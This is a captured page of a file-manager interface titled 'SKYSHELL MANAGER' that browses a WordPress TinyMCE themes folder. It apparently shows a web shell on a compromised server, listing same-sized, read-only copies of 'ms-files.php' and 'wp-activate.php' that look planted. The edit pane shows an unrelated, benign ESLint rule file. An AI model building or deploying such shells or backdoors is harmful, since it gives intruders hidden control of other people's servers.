📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: no-return-assign.js
/** * @fileoverview Rule to flag when return statement contains assignment * @author Ilya Volodin */ "use strict"; //------------------------------------------------------------------------------ // Requirements //------------------------------------------------------------------------------ const astUtils = require("./utils/ast-utils"); //------------------------------------------------------------------------------ // Helpers //------------------------------------------------------------------------------ const SENTINEL_TYPE = /^(?:[a-zA-Z]+?Statement|ArrowFunctionExpression|FunctionExpression|ClassExpression)$/u; //------------------------------------------------------------------------------ // Rule Definition //------------------------------------------------------------------------------ module.exports = { meta: { type: "suggestion", docs: { description: "disallow assignment operators in `return` statements", category: "Best Practices", recommended: false, url: "https://eslint.org/docs/rules/no-return-assign" }, schema: [ { enum: ["except-parens", "always"] } ] }, create(context) { const always = (context.options[0] || "except-parens") !== "except-parens"; const sourceCode = context.getSourceCode(); return { AssignmentExpression(node) { if (!always && astUtils.isParenthesised(sourceCode, node)) { return; } let currentChild = node; let parent = currentChild.parent; // Find ReturnStatement or ArrowFunctionExpression in ancestors. while (parent && !SENTINEL_TYPE.test(parent.type)) { currentChild = parent; parent = parent.parent; } // Reports. if (parent && parent.type === "ReturnStatement") { context.report({ node: parent, message: "Return statement should not contain assignment." }); } else if (parent && parent.type === "ArrowFunctionExpression" && parent.body === currentChild) { context.report({ node: parent, message: "Arrow function should not return assignment." }); } } }; } };
Save